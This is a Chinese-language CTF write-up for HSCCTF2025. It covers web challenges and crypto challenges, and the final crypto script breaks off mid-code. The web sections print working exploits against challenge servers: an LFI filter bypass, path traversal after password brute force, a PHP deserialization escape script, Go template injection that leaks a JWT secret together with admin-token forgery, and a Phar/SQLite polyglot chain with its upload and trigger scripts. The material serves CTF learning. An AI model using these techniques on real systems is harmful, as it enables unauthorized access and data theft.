20951 words
105 minutes
HSCCTF2025

WEB#

Time capsule#

1. 题目分析

打开题目网站,我们看到一个“时间胶囊”应用,主要功能包括:

  • 设置解锁时间:用户输入用户名和解锁时间戳。
  • 查看状态:检查当前用户的时间胶囊是否已解锁。
  • 读取文件:一个 API 接口允许读取文件内容。

通过观察网络请求,发现应用使用了 JWT (JSON Web Token) 进行身份验证,Cookie 中包含 token 字段。

关键接口

  • POST /api/set_unlock_time: 设置用户信息,返回 JWT。
  • GET /api/read_file?file=<path>: 读取服务器文件。
  1. 漏洞探测

2.1 伪造与爆破尝试

  • JWT 爆破: 尝试使用常见弱口令(如 secret, 123456)爆破 HS256 密钥,未成功。
  • JWT None 算法: 尝试修改算法为 None 进行伪造,服务器返回 invalid token,说明有校验。
  • SSTI: 在用户名中输入 {{7*7}},服务器原样返回,无服务端模板注入漏洞。

2.2 LFI

这是本题的突破口。当我们使用 /api/read_file 读取文件时,发现奇怪的行为:

  1. 读取 /etc/passwd 或其他常见文件:

    {"content": "flag{wuhu~}"}

    服务器返回了一个假的 flag,说明大多数文件读取请求被 Mock 了。

  2. 尝试读取 /flag

    {"content": "拒绝访问: flag 文件访问被拒绝"}

    服务器明确拦截了 flag 关键字。

  3. 尝试路径遍历 ../../etc/passwd

    {"content": "拒绝访问:路径包含禁止的模式"}

    服务器拦截了 ..// 等路径遍历符号。

3. 漏洞利用

通过上述分析,我们确认存在一个 LFI 漏洞,但有一个黑名单过滤器在保护真正的 flag 文件。

过滤器逻辑推测

  • 禁止包含 flag (小写) 的字符串。
  • 禁止路径遍历符号。

绕过思路: 尝试利用文件名的大小写特性绕过过滤器。既然过滤器拦截 flag,我们尝试请求 FLAG

攻击 Payload

Terminal window
curl -b "token=<你的JWT Token>" "http://150.138.XX.XXX:XXXXX/api/read_file?file=FLAG"

响应结果

{
"content": "HSCCTF{05ce8eaf-da01-449d-b199-f04ef341f68e}"
}

成功!服务器的过滤器只匹配了小写的 flag,但并未拦截大写的 FLAG,且文件系统允许通过大写文件名访问。

SSRF#

Horse#

访问目标网站,首先发现需要伪造 User-Agent 才能正常访问(如使用 Mozilla/5.0)。

通过目录扫描和文件枚举,发现了以下关键文件:

  • /start.sh: 内容显示 echo $FLAG > /flag,这确认了 Flag 的绝对路径为 /flag
  • /password/pass.list: 一个密码字典文件,暗示可能需要爆破。
  • /Dockerfile: 确认了运行环境。
  • /modes/ 目录: 存放了 1.php, 2.php 等文件,对应网站的“模式”功能。

主要交互逻辑在两个文件:

  • change_mode.php: 用于登录并设置用户的“模式” (ctfer_mode)。
  • get_mode.php: 用于显示当前设置的模式。

参数 ctfer_mode 看起来非常可疑,正常请求中它的值为 1.php。结合 /modes/ 目录的存在,推测后端代码可能类似于:

include "./modes/" . $_POST['ctfer_mode'];

这极有可能存在 本地文件包含 (LFI) 漏洞。

尝试利用漏洞前,发现必须先登录。登录表单字段为 ctfers (用户名) 和 ctfpass (密码)。

  • 用户名猜测: 根据字段名 ctfers,猜测用户名可能是 ctfersadmin
  • 密码爆破: 结合 pass.list 或常见弱口令进行测试。

使用脚本对 ctfers 用户进行爆破,成功发现密码为 12345678

登录成功后,我们可以在 change_mode.php 的 POST 请求中通过修改 ctfer_mode 参数来触发 LFI。

由于预期的路径可能是 modes/ 目录下,我们需要使用 ../ 进行路径穿越回到根目录读取 /flag

Payload:

../../flag

攻击请求 (HTTP Request):

POST /change_mode.php HTTP/1.1
Host: 150.138.81.18:12433
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<your_session_id>
ctfers=ctfers&ctfpass=12345678&ctfer_mode=../../flag

Baby Cloud#

访问题目提供的链接,直接给出了 PHP 源码:

<?php
error_reporting(0);
include('flag.php');
class race
{
public $rainbow;
public $pinkie;
public $fail = 1;
public function __construct($rainbow, $pinkie)
{
$this->rainbow = $rainbow;
$this->pinkie = $pinkie;
}
}
if (isset($_GET['rainbow']) && isset($_GET['pinkie'])) {
$rainbow = $_GET['rainbow'];
$pinkie = $_GET['pinkie'];
$_RACE = new race($rainbow, $pinkie);
if (preg_match('/wonderful/', $rainbow)) {
$twlight_freeze_magic = serialize($_RACE);
$twlight_change_magic = str_replace('awesome', 'awesomer', $twlight_freeze_magic);
$twlight_resume_magic = unserialize($twlight_change_magic);
if ($twlight_resume_magic->fail == 0) {
echo $flag;
} else {
echo "rainbow is not wonderful";
echo "flag{17de01b1-56d5-45d1-8b86-475811b32634}"; // 假的 flag
}
} else {
// ... (省略无关输出)
}
} else {
highlight_file(__FILE__);
}

关键逻辑:

  1. 接收 rainbowpinkie 参数创建 race 对象。
  2. 序列化对象:serialize($_RACE)
  3. 字符串替换:将 awesome 替换为 awesomer。注意 awesome 是 7 个字符,awesomer 是 8 个字符。每替换一次,字符串长度增加 1。
  4. 反序列化:unserialize
  5. 目标:使反序列化后的对象属性 $fail 为 0(默认为 1)。

漏洞原理:PHP 反序列化字符逃逸(增多)

PHP 在反序列化时,会根据序列化字符串中的长度描述(如 s:7:"...")来读取数据。 如果我们在序列化后的字符串中进行了替换操作,改变了字符串的实际长度,但没有更新长度描述,就会导致反序列化解析错位。

在本题中,awesome (7 chars) -> awesomer (8 chars),长度增加。我们可以利用这个特性,将我们构造的恶意属性字符串“挤”出原来的字符串引号包围范围,从而被解析为对象的属性。

我们需要构造一个 rainbow 字符串,使得经过 str_replace 后,一部分内容逃逸出来,覆盖原本的结构,并注入 fail 属性。

1. 确定注入 Payload

我们要注入的属性是 $fail = 0。 正常序列化后的结尾大概是 ...s:6:"pinkie";s:1:"x";s:4:"fail";i:1;}。 我们希望构造的结构能让反序列化提前结束,或者覆盖后面的属性。

我们可以让 rainbow 的值吞掉一部分后续字符,或者把后续字符挤出去。这里是长度增加,所以是将后面的恶意代码挤出 rainbow 的字符串范围。

构造 Payload 目标:让 rainbow 的值在反序列化时闭合,紧接着是我们注入的 fail 属性。

注入部分:

";s:6:"pinkie";s:1:"x";s:4:"fail";i:0;}

这段字符串长度为 37 字符。

2. 计算逃逸长度

我们需要逃逸 37 个字符。 因为 awesome -> awesomer 每次增加 1 个字符,所以我们需要 37 个 awesome

3. 构造最终 Payload

rainbow 的组成:

  1. wonderful (题目要求必须包含,用于绕过 preg_match)
  2. awesome * 37 (用于产生 37 个字节的逃逸空间)
  3. 注入的恶意序列化字符串:";s:6:"pinkie";s:1:"x";s:4:"fail";i:0;}

pinkie 可以随意设置,比如 x

原理演示:

假设 rainbow 只有 1 个 awesome 和注入 payload。 序列化后: ...s:46:"wonderfulawesome...";... (长度是按原始字符串算的)

替换后: awesome 变成 awesomer,长度+1。 反序列化读取字符串时,读取原始长度,因此 awesomer 中的 r 以及后面的字符会被“挤”到后面去。

我们需要挤出的正是 ";s:6:"pinkie";s:1:"x";s:4:"fail";i:0;}

exp

import requests
url = "http://150.138.81.18:14935/"
# 我们要注入的恶意属性,不仅覆盖 fail,还为了闭合前面 rainbow 的引号和分号
# 注意:这里不需要闭合大括号,因为我们是在中间注入属性,最后由 PHP 自动处理或忽略多余部分
# 但为了稳妥,直接闭合整个对象也是一种方法,或者只是注入属性。
# 题目中 rainbow 是第一个属性,pinkie 是第二个,fail 是第三个。
# 我们的注入会让解析器以为 rainbow 的值结束了,然后解析 pinkie 和 fail。
# 注入 Payload:
# "; <- 闭合 rainbow 的字符串
# s:6:"pinkie";s:1:"x"; <- 伪造 pinkie
# s:4:"fail";i:0; <- 伪造 fail,设为 0
# } <- 闭合对象
inject_payload = '";s:6:"pinkie";s:1:"x";s:4:"fail";i:0;}'
# 需要逃逸的长度
escape_len = len(inject_payload)
# 每个 awesome 增加 1 字节,所以需要 escape_len 个 awesome
# 题目要求 rainbow 包含 wonderful
rainbow = "wonderful" + "awesome" * escape_len + inject_payload
pinkie = "x"
params = {
"rainbow": rainbow,
"pinkie": pinkie
}
print(f"Payload length: {len(rainbow)}")
res = requests.get(url, params=params)
print(res.text)

Purple Moon#

Gogogo#

访问题目提供的链接 http://150.138.81.18:12078 ,发现是一个“ACME 客服工单系统”。

  1. 注册与登录 : 系统允许用户注册任意账号。注册并登录后,进入后台仪表板。
  2. 功能点 :
    • Dashboard : 查看概览。
    • Tickets : 查看工单列表。可以看到工单 #1001, #1002, #1004,但缺少 #1003。
    • New Ticket : 创建新工单,包含一个“预览”功能。
    • Settings / Profile : 查看个人信息。
  3. 发现受限资源 : 尝试直接访问 http://150.138.81.18:12078/ticket/1003 ,系统提示“权限不足:此工单需要管理员权限”。
  4. 身份验证机制 : 检查浏览器 Cookies,发现系统使用 JWT ( token ) 进行身份验证。解码 Token 可以看到 role: support 和 userid: 2 。

在“新建工单” ( /new ) 页面,发现有一个“预览”按钮。输入内容并点击预览后,内容会回显在下方。

尝试输入模板注入测试 Payload:

  • 输入 {{ 77 }} -> 报错,提示 template: preview_result:1: unexpected "" in operand 。
  • 报错信息泄露了后端使用的是 Go 语言的 text/template 或 html/template 引擎 。

步骤一:利用 SSTI 泄露密钥

由于是 Go 模板引擎,我们可以尝试打印当前上下文的所有变量。

Payload :

{{ printf "%+v" . }}

结果 : 服务器返回了当前上下文的详细结构体数据:

{Config:{Name:ACME 客服工单系统 ... JWT:
{Secret:7k5emlQwwUAIIBHJ
Issuer:acme-support-prod}} User:
{UserID:2 ... Role:support ...} ...}

我们在返回的配置信息中直接找到了 JWT 的签名密钥 (Secret): Secret : 7k5emlQwwUAIIBHJ

步骤二:伪造管理员 Token

拿到密钥后,我们就可以伪造任意身份的 JWT Token。

  1. 获取原 Token : 复制当前用户的 Cookie token 。
  2. 解码 : 使用 JWT 工具或脚本解码。
  3. 修改 Payload :
    • 将 role 从 support 改为 admin 。
    • (可选) 将 userid 改为 1 (通常管理员 ID 为 1)。
    • (可选) 将 name 改为 admin 。
  4. 重新签名 : 使用泄露的密钥 7k5emlQwwUAIIBHJ 和 HS256 算法对 Token 进行重新签名。 伪造脚本 (Python 示例) :
import jwt
SECRET = "7k5emlQwwUAIIBHJ"
# 原始 Token 的 payload
payload = {
"exp": 1765059187,
"iss": "acme-support-prod",
"name": "admin",
"role": "admin",
"userid": 1
}
forged_token = jwt.encode(payload,
SECRET, algorithm="HS256")
print(forged_token)

步骤三:获取 Flag

  1. 在浏览器中将 Cookie 中的 token 替换为刚才伪造的 管理员 Token 。
  2. 再次访问之前受限的工单页面: http://150.138.81.18:12078/ticket/1003
  3. 成功进入详情页,在工单描述中找到了 Flag。

Message_Board#

漏洞分析

这道题综合了 Phar 反序列化 、 SQLite Polyglot(多格文件) 以及 PDO Fetch Injection 三个知识点。

1. 入口点:Phar 反序列化

在 index.php 的 delete 逻辑中,存在 file_exists 调用:

public function deleteMessage($path) {
$path = $path . ".txt";
if (file_exists($path)) { // 漏洞点
// ...
}
}

由于 $path 参数可控,我们可以传入 phar:///var/www/html/upload/ctfer_message ,配合 .txt 后缀,触发 Phar 反序列化漏洞。

2. POP 链构造

反序列化的入口是 User 类:

  1. User::__destruct() : 析构函数调用了 $this->log() 。
  2. User::log() : 调用 $this->conn->get_connection() 获取数据库连接,并执行 SQL 查询: SELECT * FROM users WHERE username =
  3. PDO_connect : 我们可以控制 $this->conn 为一个恶意的 PDO_connect 对象。在该对象中,我们可以控制 dsn 和 options 。
  4. 核心利用:PDO Fetch Injection

这是本题最精彩的部分。我们需要利用 User::log() 中的 SQL 查询结果来执行任意操作。

$stmt->execute();
$result = $stmt->fetch(); // 获取查询结果
return $result;

如果我们在 PDO_connect 中设置了特殊的 PDO 属性:

PDO::ATTR_DEFAULT_FETCH_MODE =>
PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE

PDO 会根据查询结果的第一列作为 类名 来实例化对象,并将后续列作为属性赋值给该对象。

我们的目标是利用 UserMessage 类读取 Flag:

  • UserMessage::__set() : 当给不存在的属性赋值时触发,会读取 $this->filePath 指向的文件并写入 log。 攻击思路 :
  1. 让 SQL 查询返回一个结果集,第一列是 UserMessage 。
  2. PDO 自动实例化 UserMessage 。
  3. SQL 结果集中包含 filePath 列(设置为 /flag )。
  4. SQL 结果集中包含一个不存在的列(例如 dummy ),触发 UserMessage::__set 。
  5. __set 触发文件读取,将 /flag 内容写入 /var/www/html/log/md5(‘/flag’).txt 。

4. 数据源:SQLite Polyglot

因为 User::log() 执行的是 SELECT 查询,我们需要一个受控的数据库。 我们可以将 DSN 指向我们上传的文件: sqlite:/var/www/html/upload/ctfer_message.txt 。 由于我们只能上传一个文件,且该文件必须既是有效的 Phar (用于反序列化) 又是有效的 SQLite 数据库 (用于 PDO 查询),我们需要构造一个 Polyglot 文件。

  • Phar 部分 : 包含恶意的 User 对象。
  • SQLite 部分 : 包含一个 users 表,里面有一行恶意数据。
  • 结合 : 将 SQLite 数据库文件的内容放在 Phar 的 Stub 中,并以 结尾。

第一步:生成恶意 SQLite 数据库

我们需要创建一个 users 表,列的顺序非常重要,因为我们要利用 FETCH_CLASSTYPE 。

create_db.py
import sqlite3
conn = sqlite3.connect('payload.db')
c = conn.cursor()
# 表结构设计:
# col1: 用于指定类名 (UserMessage)
# filePath: 设置 UserMessage 的私有属性
filePath 为 /flag
# dummy: 一个不存在的属性,用于触发 __set 魔术
方法
# username: 用于匹配查询条件 WHERE username
= :username (admin)
c.execute('''CREATE TABLE users
(col1 TEXT, filePath TEXT,
dummy TEXT, username TEXT)
''')
# 插入恶意数据
c.execute("INSERT INTO users VALUES
('UserMessage', '/flag', '1', 'admin')")
conn.commit()
conn.close()
print("payload.db created")

第二步:生成 Polyglot Phar 文件

使用 PHP 构造 Phar 文件,将 SQLite 数据库嵌入 Stub,并设置 Metadata 触发反序列化。

gen_phar.php
<?php
include 'classes.php'; // 需包含题目源码中的
类定义
// 1. 准备恶意 User 对象
$user = new User(1, "admin", "123");
// 2. 准备恶意 PDO 连接配置
$pdo_connect = new PDO_connect();
$pdo_connect->con_options = array(
// DSN 指向我们上传的文件 (既是 Phar 又是
SQLite DB)
"dsn" => "sqlite:/var/www/html/upload/
ctfer_message.txt",
'user' => '',
'password' => '',
'options' => array(
// 关键:设置默认 Fetch Mode 为
FETCH_CLASS | FETCH_CLASSTYPE
PDO::ATTR_DEFAULT_FETCH_MODE =>
PDO::FETCH_CLASS |
PDO::FETCH_CLASSTYPE,
PDO::ATTR_ERRMODE =>
PDO::ERRMODE_EXCEPTION
)
);
$user->setConn($pdo_connect);
// 3. 读取 SQLite 数据库内容
$db_content = file_get_contents('payload.
db');
// 4. 生成 Phar
@unlink('payload.phar');
$phar = new Phar('payload.phar');
$phar->startBuffering();
// 将 SQLite 内容作为 Stub 的一部分
$stub = $db_content . "<?php
__HALT_COMPILER(); ?>";
$phar->setStub($stub);
// 设置 Metadata 序列化数据
$phar->setMetadata($user);
// 添加任意文件保证 Phar 有效性
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
echo "payload.phar created.\n";
?>

第三步:上传并利用

使用 Python 脚本自动化攻击流程。

exploit.py
import requests
import base64
import hashlib
url = "http://150.138.81.18:11087"
# 1. 读取生成的 payload.phar
with open('payload.phar', 'rb') as f:
payload = f.read()
# 2. 上传 Payload
# 题目会对 message 进行 base64_decode,所以我
们需要先 base64 编码
payload_b64 = base64.b64encode(payload).
decode()
print("[*] Uploading payload...")
requests.post(f"{url}/index.php?
action=write", data={
"message": payload_b64
})
# 3. 触发反序列化
# 使用 phar:// 伪协议指向上传的文件
# 注意:题目代码中会附加 .txt 后缀,所以这里去
掉 .txt
path = "phar:///var/www/html/upload/
ctfer_message"
print("[*] Triggering exploit...")
requests.post(f"{url}/index.php?
action=delete", data={
"message_path": path
})
# 4. 获取 Flag
# 触发成功后,/flag 的内容会被写入到 log 目录下
flag_path = "/flag"
flag_md5 = hashlib.md5(flag_path.encode
()).hexdigest()
log_url = f"{url}/log/{flag_md5}.txt"
print(f"[*] Checking log: {log_url}")
r = requests.get(log_url)
if r.status_code == 200:
print("\n[+] Flag Found:\n")
print(r.text)
else:
print("[-] Exploit failed or log not
found.")

CRYPTO#

Ancient#

  1. Base64 Decode : RzVJVFlaSkZGUk1HV1daWkdOQ0RFNEpJSE5RWEdOS05ISlNHSTNCT0daWVVXS1pDRzQzV01UQ0NISkVTNElKQkdKUkZFUEpYRjVIVk0zMlpIQVpXNjQyTkdaSlRBNFMzR1pKVENPMllIVjJWWVRMQ0daTERDTVpYR0JURk1TMlpHQlRWR0xDWkdaS1ZRWUo1R0ZURVFRSlNHQlRGNFQyTUc1SVRHUURFSFU3REVZSkVHNVdFS1FEUEdKUEVJS1NYRzQ0RkNRU0lITkNIQ1NaUEdWWlc0UlJZR1pZSEdRVFBHSVVXSVMzQkc0M0RHMkJIRzQ0R1lLU0VHQlFBPT09PQ== ↓
  2. Base32 Decode : G5ITYZJFFRMGWWZZGNCDE4JIHNQXGNKNHJSGI3BOGZYUWKZCG43WMTCCHJES4IJBGJRFEPJXF5HVM32ZHAZW642NGZJTA4S3GZJTCO2YHV2VYTLCGZLDCMZXGBTFMS2ZGBTVGLCZGZKVQYJ5GFTEQQJSGBTF4T2MG5ITGQDEHU7DEYJEG5WEKQDPGJPEIKSXG44FCQSIHNCHCSZPGVZW4RRYGZYHGQTPGIUWIS3BG43DG2BHG44GYKSEGBQA==== ↓
  3. Ascii85 Decode (注意不是 Git 版 Base85,而是 Adobe Ascii85): `7Q<e%,Xk[93D2q(;as5M.6qK+“77fLB.!!2bR=7/OVoY83osM6S0r[6S1;X=u\Mb6V1370fVKY0gS,Y6UXa=1fHA20f^OL7Q3@d=>2a$7lE@o2^D W78QBH;DqK/5snF86psBo2)dKa763h’78l D0“ ↓
  4. Base45 Decode : F8DAETZ9KI9SFFLPDI/DI1BEI9YOA967KZ9DB/HAMUC/EC98Z89CIS618B71AB.CDPD4S8Q19ETZ9KI9SFFLPDI/DI1BEI9YOA967KZ9-DB/HAMUC-/EC-98Z89 CIS618B71AB.CDPD4S8Q19%FF7:6X09AG69B7M8EPDMR6T1ACOCDDC-578FE
  5. Base62 Decode (标准字符集 0-9A-Za-z ): hLuIMuJoyfkOnvWBJiSt8vMlYuRBdHvvNrEweI4tXlONfYkGD8Gxyp79GR2P9WCKkH4KOdc0aB8iqiYx4pJ ↓
  6. Base58 Decode (标准 Bitcoin 字符集): 3XzE5jomPADm2Q58eE6XgcTZu9CWkr3Q6aZmT2irXqikpp3xA4ucXHCKHQWZmE ↓
  7. Result : flag{cl@ss1cal_c1pher_@re_really_1nterest1ng}

EZRSA#

def tran(n):
s_bin = bin(n)[2:]
bit_map = {'0': '10', '1': '01'}
p_bin = '11' + ''.join([bit_map[bit] for bit in s_bin[1:]])
return int(p_bin, 2)
def keygen(nbit):
while True:
s = getPrime(nbit)
p = tran(s)
if not isPrime(p):
continue
s_bin = bin(s)[2:].zfill(nbit)
q_bin = (s_bin[:nbit // 2]
+ '1' * (nbit // 2)
+ s_bin[nbit // 2:]
+ '1' * (nbit // 2))
q = int(q_bin, 2)
if isPrime(q):
return p,q
flag = "flag{____________________________}"
nbit = 256
p, q = keygen(nbit)
m = bytes_to_long(flag.encode())
e= 65537
n = p * q
c = pow(m, e, n)
print(f'n = {n}')
print(f'c = {c}')
"""
n =
c =
"""

1. 代码逻辑审计

题目给出了源码 EZRSA.py,我们需要仔细分析 keygen 函数中 ppqq 的生成逻辑:

  • 种子 ss:生成了一个 256 位的随机素数 s
  • 生成 pp (tran 函数)
    • pp 是由 ss 的二进制位转换而来的。
    • 转换规则:ss 中的每一位(除了最高位)如果为 ‘0’ 则变为 ‘10’,如果为 ‘1’ 则变为 ‘01’。
    • 关键点:这意味着 pp 的每一个比特位都严格依赖于 ss 的对应比特位。ss 的低位决定 pp 的低位。
  • 生成 qq
    • qq 是通过拼接 ss 的二进制位和固定的 ‘1’ 串生成的。
    • 结构为:s的高128位 + 128个'1' + s的低128位 + 128个'1'
    • 关键点qq 的最低 128 位全是 1,随后的 128 位完全等于 ss 的低 128 位。这也意味着 qq 的低位也完全由 ss 决定。

2. 漏洞原理

在标准的 RSA 中,ppqq 应该是两个独立的随机大素数。但在这道题中:

  1. ppqq 均由同一个较小的种子数 ss(256位)确定性生成。
  2. n=p×qn = p \times q
  3. 二进制位的对应关系是从低位到高位一一对应的。

这种结构非常适合使用 爆破比特位(DFS/Branch and Prune) 的方法。我们可以从 ss 的最低位(LSB)开始,一位一位地猜测 ss 的值,计算出对应的局部 ppqq,然后验证 p×q(mod2k)p \times q \pmod {2^k} 是否等于 n(mod2k)n \pmod {2^k}。如果相等,则说明猜测正确,继续猜测下一位;如果不相等,则回溯。

解题思路

  1. 初始化:创建一个搜索队列,初始状态为 (当前猜测的s值, 当前位数index),从第 0 位开始。
  2. 搜索过程
    • 对于当前位 index,尝试猜测该位是 0 还是 1
    • 构造临时的 next_s
    • 根据 next_s 模拟题目逻辑生成临时的 ppqq
    • 剪枝条件:计算 temp_n = p * q。检查 temp_n 的低位是否与题目给出的 n 的低位一致。
      • 由于 pp 的膨胀率是 2 倍(1位变2位),我们通常检查 2 * (index + 1) 位长度的模数即可过滤错误分支。
  3. 结束条件:当猜测完 256 位,且生成的 p,qp, q 满足 p×q=np \times q = n 时,即找到了真正的 ss
  4. 解密:拿到 ss 后,生成完整的 p,qp, q,计算私钥 dd,解密 cc 得到 Flag。

Exp:

from Crypto.Util.number import *
from Crypto.Util.number import long_to_bytes
n =
c =
e = 65537
nbit = 256
def get_p_q(s_val):
s_bin = bin(s_val)[2:].zfill(nbit)
bit_map = {'0': '10', '1': '01'}
p_bin = '11' + ''.join([bit_map[bit] for bit in s_bin[1:]])
p = int(p_bin, 2)
q_bin = (s_bin[:nbit // 2]
+ '1' * (nbit // 2)
+ s_bin[nbit // 2:]
+ '1' * (nbit // 2))
q = int(q_bin, 2)
return p, q
candidates = [(0, 0)]
found_s = None
while candidates:
cur_s, idx = candidates.pop()
if idx == nbit:
p, q = get_p_q(cur_s)
if p * q == n:
found_s = cur_s
break
continue
for bit in [0, 1]:
next_s = cur_s | (bit << idx)
p, q = get_p_q(next_s)
check_bits = 2 * (idx + 1)
mask = (1 << check_bits) - 1
if (p * q) & mask == n & mask:
candidates.append((next_s, idx + 1))
if found_s:
print(f"[+] Found seed s: {found_s}")
p, q = get_p_q(found_s)
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(f"[+] Flag: {flag.decode()}")
else:
print("[-] Failed to recover s")

math#

from Crypto.Util.number import *
def gen_rev_sum(m,p):
sum = 0
round = 0
while m > 0:
digit = m % p
if round % 2 == 0:
sum -= digit
else:
sum += digit
m = m // p
round += 1
return sum // 2025
e = 65537
p = getPrime(256)
q = getPrime(256)
n = p*q
m1 = getRandomNBitInteger(2048)
m2 = getRandomNBitInteger(2048)
sum1 = gen_rev_sum(m1, p)
sum2 = gen_rev_sum(m2, p)
flag = "flag{--------------------------}"
m = bytes_to_long(flag.encode())
print("m1 =",m1)
print("m2 =",m2)
print("sum1 =",sum1)
print("sum2 =",sum2)
print("n =",n)
print("c =",pow(m,e,n))
'''
m1 =
m2 =
sum1 = -108877560874638575191632670246326227208412819991287356983577291185528002487
sum2 = -47122048431044787786292644180145597499319125719652288525187634667738055282
n =
c =
e = 65537
'''

1. 源码逻辑审计

题目提供了一个函数 gen_rev_sum(m, p),其逻辑如下:

  • 将整数 mm 按照 pp 进制展开:m=d0+d1p+d2p2+m = d_0 + d_1 p + d_2 p^2 + \dots
  • 计算一个累加和 sum
    • 第 0 轮(偶数轮):sum -= d0
    • 第 1 轮(奇数轮):sum += d1
    • 第 2 轮(偶数轮):sum -= d2
  • 最终返回 sum // 2025

数学上,这个 sum 可以表示为:S=d0+d1d2+d3=(1)i+1diS = -d_0 + d_1 - d_2 + d_3 - \dots = \sum (-1)^{i+1} d_i

2. 数学推导

我们要利用 pp 进制的性质。定义多项式 M(x)=dixiM(x) = \sum d_i x^i,那么 m=M(p)m = M(p)

考虑 M(1)M(-1) 的值:M(1)=d0d1+d2d3+=(d0+d1d2+)=SM(-1) = d_0 - d_1 + d_2 - d_3 + \dots = -(-d_0 + d_1 - d_2 + \dots) = -S

根据同余性质,ab(modk)    P(a)P(b)(modk)a \equiv b \pmod k \implies P(a) \equiv P(b) \pmod k

我们取模 p+1p+1。因为 p1(modp+1)p \equiv -1 \pmod{p+1},所以:M(p)M(1)(modp+1)M(p) \equiv M(-1) \pmod{p+1}

代入 mmSSmS(modp+1)m \equiv -S \pmod{p+1}

移项得:m+S0(modp+1)m + S \equiv 0 \pmod{p+1}

这意味着 m+Sm + Sp+1p+1 的倍数。

3. 攻击方案

题目给出了 sum1 和 sum2,它们是原始 SS 除以 2025 后的整除结果。

S1S_1m1m_1 对应的真实和,S2S_2m2m_2 对应的真实和。

根据整除的定义:

S1=2025×sum1+r1,0r1<2025S_1 = 2025 \times \text{sum1} + r_1, \quad 0 \le r_1 < 2025

S2=2025×sum2+r2,0r2<2025S_2 = 2025 \times \text{sum2} + r_2, \quad 0 \le r_2 < 2025

结合前面的推导,我们有:

  1. m1+(2025×sum1+r1)m_1 + (2025 \times \text{sum1} + r_1)p+1p+1 的倍数。
  2. m2+(2025×sum2+r2)m_2 + (2025 \times \text{sum2} + r_2)p+1p+1 的倍数。

因此,p+1p+1 一定是这两个数的公约数。

我们可以爆破 r1r_1r2r_2(范围 0 到 2024),计算:

G=GCD(m1+2025sum1+r1,  m2+2025sum2+r2)G = \text{GCD}(m_1 + 2025 \cdot \text{sum1} + r_1, \; m_2 + 2025 \cdot \text{sum2} + r_2)

由于 pp 是 256 位的大素数,p+1p+1 也非常大。如果我们在爆破过程中发现某个 GG 的比特数接近或超过 256 位,那么这个 GG 很可能就是 p+1p+1(或者是 p+1p+1 的倍数)。找到 pp 后,即可计算 q=n//pq = n // p,进而解密 RSA。

from Crypto.Util.number import *
import math
# 题目数据
n =
c =
e = 65537
m1 =
m2 =
sum1 = -108877560874638575191632670246326227208412819991287356983577291185528002487
sum2 = -47122048431044787786292644180145597499319125719652288525187634667738055282
# 预计算基准值
# m + S = k * (p+1)
# S = 2025 * sum + r
A_base = m1 + 2025 * sum1
B_base = m2 + 2025 * sum2
print("[*] 开始爆破 r1 和 r2 (0-2024)...")
found_p = None
for r1 in range(2025):
val1 = A_base + r1
if r1 % 500 == 0:
print(f"[*] 正在检查 r1 = {r1} ...")
for r2 in range(2025):
val2 = B_base + r2
g = math.gcd(val1, val2)
if g.bit_length() > 250:
for k in range(1, 101):
if g % k == 0:
cand_p = (g // k) - 1
if cand_p > 1 and n % cand_p == 0:
found_p = cand_p
print(f"[+] 找到 p!")
print(f" r1: {r1}")
print(f" r2: {r2}")
print(f" k : {k}")
print(f" p : {found_p}")
break
if found_p: break
if found_p: break
if found_p:
p = found_p
q = n // p
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m_int = pow(c, d, n)
flag = long_to_bytes(m_int)
print(f"\n[+] Flag: {flag.decode()}")
else:
print("[-] 未能找到 p,请检查逻辑。")

Where#

from Crypto.Util.number import *
import random
flag = "flag{_______________________________}"
m = bin(bytes_to_long(flag.encode()))[2:]
p = getPrime(300)
q = getPrime(300)
n = p * q
R.<x> = PolynomialRing(Zmod(n))
def gen(m):
C = []
for bit in m:
if bit == '0':
C.append(random.randint(1, n-1))
else:
x = random.randint(1, 2^80)
y = random.randint(1, p-1)
val = 65537 + x*(1-x) +(q - x)*y + (y + x)*(q + x)
C.append(R(val))
return C
c = gen(m)
print(f"n = {n}")
print(f"c = {c}")
  1. 加密逻辑

    • 题目生成了两个 300 位的素数 p,qp, q,并计算 n=p×qn = p \times q

    • 将 Flag 转换为二进制流。

    • 如果是 ‘0’:密文 cic_i 是一个模 nn 的随机数。

    • 如果是 ‘1’:密文 cic_i 通过以下公式计算:

      ci65537+x(1x)+(qx)y+(y+x)(q+x)(modn)c_i \equiv 65537 + x(1-x) + (q-x)y + (y+x)(q+x) \pmod n

      其中 xx 是 80 位的随机数,yy 是模 pp 的随机数。

  2. 公式化简:

    让我们展开比特 ‘1’ 对应的加密公式(在整数域上,或者模 nn):

    val=65537+xx2+qyxy+yq+yx+xq+x2=65537+x+(qyxy+yx+yq+xq)=65537+x+2qy+xq=65537+x+q(2y+x)\begin{aligned} \text{val} &= 65537 + x - x^2 + qy - xy + yq + yx + xq + x^2 \\ &= 65537 + x + (qy - xy + yx + yq + xq) \\ &= 65537 + x + 2qy + xq \\ &= 65537 + x + q(2y + x) \end{aligned}

    Vi=ci65537V_i = c_i - 65537

    对于比特 ‘1’,我们有:Vi=xi+q(2yi+xi)V_i = x_i + q(2y_i + x_i)

    这意味着:Vixi(modq)V_i \equiv x_i \pmod q

    由于 xix_i 只有 80 位,而 qq 是 300 位,这意味着 ViV_iqq 的余数非常小。

  3. 攻击思路

    • 这是一个典型的 Hidden Number Problem (HNP)Approximate GCD 问题的变体。
    • 对于比特 ‘0’,cic_i 是随机的,不满足上述性质。
    • 对于比特 ‘1’,ViV_iqq 的倍数加上一个“小”的噪音 xix_i。同时我们知道 nn 也是 qq 的倍数(噪音为 0)。
    • Flag 格式通常为 flag{...}。字符 ‘f’ 的 ASCII 码是 102,二进制为 1100110
    • 因此,密文的前两项 c[0]c[0]c[1]c[1] 对应比特 ‘1’。
    • 我们可以利用 n,c[0],c[1]n, c[0], c[1] 构建格(Lattice),使用 LLL 算法求出公共因子 pp(或者 qq)。一旦知道了 ppqq,我们就可以通过检查 ci65537(modq)c_i - 65537 \pmod q 是否很小来区分 ‘0’ 和 ‘1’。
import re
from Crypto.Util.number import long_to_bytes
from sage.all import Matrix, ZZ
def solve():
try:
with open("output.txt", "r") as f:
content = f.read()
n = int(re.search(r"n = (\d+)", content).group(1))
c_str = re.search(r"c = \[(.*?)\]", content, re.DOTALL).group(1)
